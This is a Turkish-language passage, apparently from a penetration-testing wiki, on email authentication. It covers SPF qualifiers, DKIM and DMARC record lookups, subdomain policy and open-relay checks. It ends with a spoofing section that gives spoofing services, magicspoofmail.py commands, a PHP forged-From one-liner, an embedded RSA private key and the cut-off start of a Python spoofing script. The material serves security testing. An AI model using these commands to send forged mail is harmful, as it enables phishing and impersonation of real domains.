Yönlendirme, bir SPF politikasını barındıran başka bir alan adına işaret eden bir işarettir, bu da birden fazla alanın aynı SPF politikasını paylaşmasına olanak tanır. Aynı e-posta altyapısını paylaşan çok sayıda alanla çalışırken faydalıdır.
Yönlendirme Mekanizmasında belirtilen alanın SPF politikası kullanılacaktır.
| Ayrıca, **bir mekanizma eşleşirse ne yapılması gerektiğini** belirten **Nitelikler** tanımlamak da mümkündür. Varsayılan olarak, **nitelik "+"** kullanılır (yani, herhangi bir mekanizma eşleşirse, bu izin verildiği anlamına gelir).\ Genellikle, **her SPF politikasının sonunda** **\~all** veya **-all** gibi bir şey göreceksiniz. Bu, **eğer gönderen herhangi bir SPF politikasına uymuyorsa, e-postayı güvensiz olarak işaretlemeniz (\~) veya e-postayı reddetmeniz (-) gerektiğini** belirtmek için kullanılır. #### Nitelikler Politikadaki her mekanizma, istenen sonucu tanımlamak için dört nitelikten biri ile ön eklenebilir: * **`+`**: PASS sonucuna karşılık gelir. Varsayılan olarak, mekanizmalar bu niteliği varsayar, bu da `+mx`'in `mx` ile eşdeğer olduğu anlamına gelir. * **`?`**: NEUTRAL sonucunu temsil eder, NONE (belirli bir politika yok) ile benzer şekilde işlenir. * **`~`**: SOFTFAIL'i belirtir, NEUTRAL ile FAIL arasında bir orta zemin işlevi görür. Bu sonucu karşılayan e-postalar genellikle kabul edilir ancak uygun şekilde işaretlenir. * **`-`**: FAIL'i belirtir, e-postanın tamamen reddedilmesi gerektiğini önerir. Gelecek örnekte, **google.com'un SPF politikası** gösterilmektedir. İlk SPF politikasında farklı alanlardan SPF politikalarının dahil edilmesine dikkat edin: ```shell-session dig txt google.com | grep spf google.com. 235 IN TXT "v=spf1 include:_spf.google.com ~all" dig txt _spf.google.com | grep spf ; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com ;_spf.google.com. IN TXT _spf.google.com. 235 IN TXT "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all" dig txt _netblocks.google.com | grep spf _netblocks.google.com. 1606 IN TXT "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all" dig txt _netblocks2.google.com | grep spf _netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all" dig txt _netblocks3.google.com | grep spf _netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all" ``` Geleneksel olarak, doğru/hiçbir SPF kaydı olmayan herhangi bir alan adını taklit etmek mümkündü. **Günümüzde**, eğer **email** geçerli bir **SPF kaydı olmayan bir alan adından** geliyorsa, muhtemelen **otomatik olarak reddedilecek/ güvensiz olarak işaretlenecektir**. Bir alan adının SPF'sini kontrol etmek için çevrimiçi araçlar kullanabilirsiniz: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html) ### DKIM (DomainKeys Identified Mail) DKIM, dışa giden e-postaları imzalamak için kullanılır ve bunların, alan adının DNS'inden alınan genel anahtar aracılığıyla dış Mail Transfer Agent'ları (MTA'lar) tarafından doğrulanmasına olanak tanır. Bu genel anahtar, bir alan adının TXT kaydında bulunur. Bu anahtara erişmek için hem seçici hem de alan adı bilinmelidir. Örneğin, anahtarı talep etmek için alan adı ve seçici gereklidir. Bunlar, mail başlığında `DKIM-Signature` içinde bulunabilir, örneğin `d=gmail.com;s=20120113`. Bu bilgiyi almak için bir komut şöyle görünebilir: ```bash dig 20120113._domainkey.gmail.com TXT | grep p= # This command would return something like: 20120113._domainkey.gmail.com. 280 IN TXT "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3 ``` ### DMARC (Domain-based Message Authentication, Reporting & Conformance) DMARC, SPF ve DKIM protokollerinin üzerine inşa edilerek e-posta güvenliğini artırır. Belirli bir alan adından gelen e-postaların işlenmesinde, kimlik doğrulama hatalarıyla nasıl başa çıkılacağı ve e-posta işleme eylemleri hakkında raporların nereye gönderileceği gibi politikaları belirler. **DMARC kaydını almak için \_dmarc alt alan adını sorgulamanız gerekir** ```bash # Reject dig _dmarc.facebook.com txt | grep DMARC _dmarc.facebook.com. 3600 IN TXT "v=DMARC1; p=reject; rua=mailto:a@dmarc.facebookmail.com; ruf=mailto:fb-dmarc@datafeeds.phishlabs.com; pct=100" # Quarantine dig _dmarc.google.com txt | grep DMARC _dmarc.google.com. 300 IN TXT "v=DMARC1; p=quarantine; rua=mailto:mailauth-reports@google.com" # None dig _dmarc.bing.com txt | grep DMARC _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;" ``` #### DMARC etiketleri | Etiket Adı | Amaç | Örnek | | ---------- | -------------------------------------------- | ------------------------------- | | v | Protokol versiyonu | v=DMARC1 | | pct | Filtrelemeye tabi tutulan mesajların yüzdesi| pct=20 | | ruf | Adli raporlar için raporlama URI'si | ruf=mailto:authfail@example.com | | rua | Toplu raporlar için raporlama URI'si | rua=mailto:aggrep@example.com | | p | Kurumsal alan için politika | p=quarantine | | sp | OD'nin alt alanları için politika | sp=reject | | adkim | DKIM için hizalama modu | adkim=s | | aspf | SPF için hizalama modu | aspf=r | ### **Alt Alan Adları Ne Olacak?** **Buradan** [**buraya**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.**\ Mail göndermek istediğiniz her alt alan için ayrı SPF kayıtlarına sahip olmalısınız.\ Aşağıdaki bilgi, bu tür şeyler için harika bir kaynak olan openspf.org'da ilk olarak yayınlanmıştır. > Demon Sorusu: Alt alan adları ne olacak? > > Eğer pielovers.demon.co.uk adresinden mail alıyorsam ve pielovers için SPF verisi yoksa, bir seviye geri gidip demon.co.uk için SPF'yi test etmeli miyim? Hayır. Demon'daki her alt alan farklı bir müşteridir ve her müşterinin kendi politikası olabilir. Demon's politikası varsayılan olarak tüm müşterilerine uygulanması mantıklı olmaz; eğer Demon bunu istiyorsa, her alt alan için SPF kayıtları oluşturabilir. > > Bu nedenle SPF yayıncılarına tavsiye şudur: A veya MX kaydı olan her alt alan veya ana bilgisayar için bir SPF kaydı eklemelisiniz. > > Yıldızlı A veya MX kayıtlarına sahip sitelerin de şu biçimde bir yıldızlı SPF kaydına sahip olması gerekir: \* IN TXT "v=spf1 -all" Bu mantıklıdır - bir alt alan çok farklı bir coğrafi konumda olabilir ve çok farklı bir SPF tanımına sahip olabilir. ### **Açık İletim** E-postalar gönderildiğinde, spam olarak işaretlenmemelerini sağlamak çok önemlidir. Bu genellikle **alıcı tarafından güvenilen bir iletim sunucusu** kullanılarak sağlanır. Ancak, yaygın bir zorluk, yöneticilerin hangi **IP aralıklarının güvenli olduğunu tam olarak bilmemesidir**. Bu anlayış eksikliği, SMTP sunucusunun kurulumu sırasında hatalara yol açabilir; bu, güvenlik değerlendirmelerinde sıkça tespit edilen bir risktir. Bazı yöneticilerin, özellikle potansiyel veya devam eden müşterilerle iletişimde e-posta teslimat sorunlarını önlemek için kullandığı bir geçici çözüm, **herhangi bir IP adresinden bağlantılara izin vermektir**. Bu, SMTP sunucusunun `mynetworks` parametresinin tüm IP adreslerini kabul edecek şekilde yapılandırılmasıyla yapılır, aşağıda gösterildiği gibi: ```bash mynetworks = 0.0.0.0/0 ``` Bir mail sunucusunun açık bir relay olup olmadığını kontrol etmek için (bu, herhangi bir dış kaynaktan e-posta iletebileceği anlamına gelir), `nmap` aracı yaygın olarak kullanılır. Bu testi yapmak için tasarlanmış özel bir script içerir. `nmap` kullanarak 25 numaralı portta bir sunucuda (örneğin, IP 10.10.10.10 ile) ayrıntılı bir tarama gerçekleştirmek için komut: ```bash nmap -p25 --script smtp-open-relay 10.10.10.10 -v ``` ### **Araçlar** * [**https://github.com/serain/mailspoof**](https://github.com/serain/mailspoof) **SPF ve DMARC yanlış yapılandırmalarını kontrol et** * [**https://pypi.org/project/checkdmarc/**](https://pypi.org/project/checkdmarc/) **SPF ve DMARC yapılandırmalarını otomatik olarak al** ### Sahte E-posta Gönder * [**https://www.mailsploit.com/index**](https://www.mailsploit.com/index) * [**http://www.anonymailer.net/**](http://www.anonymailer.net) * [**https://emkei.cz/**](https://emkei.cz/) **Ya da bir araç kullanabilirsiniz:** * [**https://github.com/magichk/magicspoofing**](https://github.com/magichk/magicspoofing) ```bash # This will send a test email from test@victim.com to destination@gmail.com python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com # But you can also modify more options of the email python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com ``` {% hint style="warning" %} Eğer **dkim python lib** kullanarak anahtarı ayrıştırırken herhangi bir **hata alırsanız**, aşağıdaki alternatifini kullanmaktan çekinmeyin.\ **NOT**: Bu, openssl özel anahtarının **dkim** tarafından ayrıştırılamadığı durumlarda hızlı kontroller yapmak için sadece geçici bir çözümdür. ``` -----BEGIN RSA PRIVATE KEY----- MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt spr6chlrPUX71hfSkk8WxnJ1iC9Moa9sRzdjBrxPMjRDgP8p8AFdpugP5rJJXExO pkZcdNPvCXGYNYD86Gpous6ubn6KhUWwDD1bw2UFu53nW/AK/EE4/jeraQIDAQAB AoGAe31lrsht7TWH9aJISsu3torCaKyn23xlNuVO6xwdUb28Hpk327bFpXveKuS1 koxaLqQYrEriFBtYsU8T5Dc06FQAVLpUBOn+9PcKlxPBCLvUF+/KbfHF0q1QbeZR fgr+E+fPxwVPxxk3i1AwCP4Cp1+bz2s58wZXlDBkWZ2YJwECQQD/f4bO2lnJz9Mq 1xsL3PqHlzIKh+W+yiGmQAELbgOdX4uCxMxjs5lwGSACMH2nUwXx+05RB8EM2m+j ZBTeqxDxAkEA3gHyUtVenuTGClgYpiwefaTbGfYadh0z2KmiVcRqWzz3hDUEWxhc GNtFT8wzLcmRHB4SQYUaS0Df9mpvwvdB+QJBALGv9Qci39L0j/15P7wOYMWvpwOf 422+kYxXcuKKDkWCTzoQt7yXCRzmvFYJdznJCZdymNLNu7q+p2lQjxsUiWECQQCI Ms2FP91ywYs1oWJN39c84byBKtiFCdla3Ib48y0EmFyJQTVQ5ZrqrOrSz8W+G2Do zRIKHCxLapt7w0SZabORAkEAxvm5pd2MNVqrqMJHbukHY1yBqwm5zVIYr75eiIDP K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ== -----END RSA PRIVATE KEY----- ``` {% endhint %} **Ya da bunu manuel olarak yapabilirsiniz:** {% tabs %} {% tab title="PHP" %}# Bu, imzasız bir mesaj gönderecektir
mail("your_email@gmail.com", "Test Subject!", "hey! This is a test", "From: administrator@victim.com");
{% endtab %}
{% tab title="Python" %}
```python
# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.py
import os
import dkim #pip3 install dkimpy
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
# Set params
destination="destination@gmail.com"
sender="administrator@victim.com"
subject="Test"
message_html="""